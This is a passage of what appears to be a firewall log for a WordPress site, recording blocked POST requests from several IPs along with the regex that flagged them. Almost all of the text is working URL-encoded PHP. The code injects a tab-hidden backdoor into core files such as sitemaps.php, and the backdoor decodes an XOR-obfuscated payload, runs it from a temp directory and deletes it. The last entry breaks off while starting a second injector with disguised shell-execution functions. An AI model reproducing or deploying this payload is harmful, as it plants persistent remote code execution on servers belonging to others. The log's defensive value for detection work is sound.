%2520%2524pgrp%2520%253D%2520%2522%2524value%2522%2520.%2520%2522\/.parameter_group%2522%253B%2520%2524file%2520%253D%2520fopen%2528%2524pgrp%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524property_set%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524pgrp%253B%2520%2540unlink%2528%2524pgrp%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:36:35","51.38.81.255","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Zd:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sitemaps.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528count%2528%2524_POST%2529%2520%253E%25200%2520%2526%2526%2520isset%2528%2524_POST%255B%2522d%255Cx65sc%255Cx72i%255Cx70tor%2522%255D%2529%2529%257B%2520%2524sym%2520%253D%2520hex2bin%2528%2524_POST%255B%2522d%255Cx65sc%255Cx72i%255Cx70tor%2522%255D%2529%253B%2520%2524property_set%2520%253D%2520%2527%2527%2520%253B%2520%2524e%2520%253D%25200%253B%2520while%2528%2524e%2520%253C%2520strlen%2528%2524sym%2529%2529%257B%2524property_set%2520.%253D%2520chr%2528ord%2528%2524sym%255B%2524e%255D%2529%2520%255E%252011%2529%253B%2524e%252B%252B%253B%257D%2520%2524element%2520%253D%2520array_filter%2528%255Bini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520foreach%2520%2528%2524element%2520as%2520%2524key%2520%253D%253E%2520%2524value%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524value%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524value%2529%2529%2520%257B%2520%2524pgrp%2520%253D%2520%2522%2524value%2522%2520.%2520%2522\/.parameter_group%2522%253B%2520%2524file%2520%253D%2520fopen%2528%2524pgrp%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524property_set%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524pgrp%253B%2520%2540unlink%2528%2524pgrp%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:4045\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nsec-fetch-mode:navigate\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJzDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nZd=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sitemaps.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528count%2528%2524_POST%2529%2520%253E%25200%2520%2526%2526%2520isset%2528%2524_POST%255B%2522d%255Cx65sc%255Cx72i%255Cx70tor%2522%255D%2529%2529%257B%2520%2524sym%2520%253D%2520hex2bin%2528%2524_POST%255B%2522d%255Cx65sc%255Cx72i%255Cx70tor%2522%255D%2529%253B%2520%2524property_set%2520%253D%2520%2527%2527%2520%253B%2520%2524e%2520%253D%25200%253B%2520while%2528%2524e%2520%253C%2520strlen%2528%2524sym%2529%2529%257B%2524property_set%2520.%253D%2520chr%2528ord%2528%2524sym%255B%2524e%255D%2529%2520%255E%252011%2529%253B%2524e%252B%252B%253B%257D%2520%2524element%2520%253D%2520array_filter%2528%255Bini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520foreach%2520%2528%2524element%2520as%2520%2524key%2520%253D%253E%2520%2524value%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524value%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524value%2529%2529%2520%257B%2520%2524pgrp%2520%253D%2520%2522%2524value%2522%2520.%2520%2522\/.parameter_group%2522%253B%2520%2524file%2520%253D%2520fopen%2528%2524pgrp%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524property_set%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524pgrp%253B%2520%2540unlink%2528%2524pgrp%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:36:37","89.167.82.230","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sitemaps.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528count%2528%2524_POST%2529%2520%253E%25200%2520%2526%2526%2520isset%2528%2524_POST%255B%2522d%255Cx65sc%255Cx72i%255Cx70tor%2522%255D%2529%2529%257B%2520%2524sym%2520%253D%2520hex2bin%2528%2524_POST%255B%2522d%255Cx65sc%255Cx72i%255Cx70tor%2522%255D%2529%253B%2520%2524property_set%2520%253D%2520%2527%2527%2520%253B%2520%2524e%2520%253D%25200%253B%2520while%2528%2524e%2520%253C%2520strlen%2528%2524sym%2529%2529%257B%2524property_set%2520.%253D%2520chr%2528ord%2528%2524sym%255B%2524e%255D%2529%2520%255E%252011%2529%253B%2524e%252B%252B%253B%257D%2520%2524element%2520%253D%2520array_filter%2528%255Bini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520foreach%2520%2528%2524element%2520as%2520%2524key%2520%253D%253E%2520%2524value%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524value%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524value%2529%2529%2520%257B%2520%2524pgrp%2520%253D%2520%2522%2524value%2522%2520.%2520%2522\/.parameter_group%2522%253B%2520%2524file%2520%253D%2520fopen%2528%2524pgrp%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524property_set%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524pgrp%253B%2520%2540unlink%2528%2524pgrp%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\naccept-encoding:gzip,deflate\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:4068\nhost:dewenlabels.com\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\nsec-fetch-mode:navigate\naccept:*\/*\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sitemaps.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528count%2528%2524_POST%2529%2520%253E%25200%2520%2526%2526%2520isset%2528%2524_POST%255B%2522d%255Cx65sc%255Cx72i%255Cx70tor%2522%255D%2529%2529%257B%2520%2524sym%2520%253D%2520hex2bin%2528%2524_POST%255B%2522d%255Cx65sc%255Cx72i%255Cx70tor%2522%255D%2529%253B%2520%2524property_set%2520%253D%2520%2527%2527%2520%253B%2520%2524e%2520%253D%25200%253B%2520while%2528%2524e%2520%253C%2520strlen%2528%2524sym%2529%2529%257B%2524property_set%2520.%253D%2520chr%2528ord%2528%2524sym%255B%2524e%255D%2529%2520%255E%252011%2529%253B%2524e%252B%252B%253B%257D%2520%2524element%2520%253D%2520array_filter%2528%255Bini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520foreach%2520%2528%2524element%2520as%2520%2524key%2520%253D%253E%2520%2524value%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524value%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524value%2529%2529%2520%257B%2520%2524pgrp%2520%253D%2520%2522%2524value%2522%2520.%2520%2522\/.parameter_group%2522%253B%2520%2524file%2520%253D%2520fopen%2528%2524pgrp%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524property_set%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524pgrp%253B%2520%2540unlink%2528%2524pgrp%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 09:36:40","212.87.197.20","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> dN:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sitemaps.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528count%2528%2524_POST%2529%2520%253E%25200%2520%2526%2526%2520isset%2528%2524_POST%255B%2522d%255Cx65sc%255Cx72i%255Cx70tor%2522%255D%2529%2529%257B%2520%2524sym%2520%253D%2520hex2bin%2528%2524_POST%255B%2522d%255Cx65sc%255Cx72i%255Cx70tor%2522%255D%2529%253B%2520%2524property_set%2520%253D%2520%2527%2527%2520%253B%2520%2524e%2520%253D%25200%253B%2520while%2528%2524e%2520%253C%2520strlen%2528%2524sym%2529%2529%257B%2524property_set%2520.%253D%2520chr%2528ord%2528%2524sym%255B%2524e%255D%2529%2520%255E%252011%2529%253B%2524e%252B%252B%253B%257D%2520%2524element%2520%253D%2520array_filter%2528%255Bini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520foreach%2520%2528%2524element%2520as%2520%2524key%2520%253D%253E%2520%2524value%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524value%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524value%2529%2529%2520%257B%2520%2524pgrp%2520%253D%2520%2522%2524value%2522%2520.%2520%2522\/.parameter_group%2522%253B%2520%2524file%2520%253D%2520fopen%2528%2524pgrp%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524property_set%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524pgrp%253B%2520%2540unlink%2528%2524pgrp%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:4045\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nsec-fetch-mode:navigate\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMR4vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9uqKEbMKuwMKO0nJ9hplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\ndN=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sitemaps.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528count%2528%2524_POST%2529%2520%253E%25200%2520%2526%2526%2520isset%2528%2524_POST%255B%2522d%255Cx65sc%255Cx72i%255Cx70tor%2522%255D%2529%2529%257B%2520%2524sym%2520%253D%2520hex2bin%2528%2524_POST%255B%2522d%255Cx65sc%255Cx72i%255Cx70tor%2522%255D%2529%253B%2520%2524property_set%2520%253D%2520%2527%2527%2520%253B%2520%2524e%2520%253D%25200%253B%2520while%2528%2524e%2520%253C%2520strlen%2528%2524sym%2529%2529%257B%2524property_set%2520.%253D%2520chr%2528ord%2528%2524sym%255B%2524e%255D%2529%2520%255E%252011%2529%253B%2524e%252B%252B%253B%257D%2520%2524element%2520%253D%2520array_filter%2528%255Bini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520foreach%2520%2528%2524element%2520as%2520%2524key%2520%253D%253E%2520%2524value%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524value%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524value%2529%2529%2520%257B%2520%2524pgrp%2520%253D%2520%2522%2524value%2522%2520.%2520%2522\/.parameter_group%2522%253B%2520%2524file%2520%253D%2520fopen%2528%2524pgrp%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524property_set%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524pgrp%253B%2520%2540unlink%2528%2524pgrp%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:36:42","103.143.207.18","POST","\/","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> uV:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/network\/update-core.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524core_engine5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524batch_process%2520%253D%2520%2522%255Cx68%255Cx65x2b%255Cx69%255Cx6E%2522%253B%2520%2524core_engine4%2520%253D%2520%2522pa%255Cx73%255Cx73%255Cx74%255Cx68ru%2522%253B%2520%2524core_engine1%2520%253D%2520%2522sy%255Cx73%255Cx74%255Cx65m%2522%253B%2520%2524core_engine2%2520%253D%2520%2522%255Cx73h%255Cx65ll%255Cx5F%255Cx65x%255Cx65c%2522%253B%2520%2524core_engine7%2520%253D%2520%2522%255Cx70%255Cx63lo%255Cx73e%2522%253B%2520%2524core_engine6%2520%253D%2520%2522%255Cx73t%255Cx72e%255Cx61%255C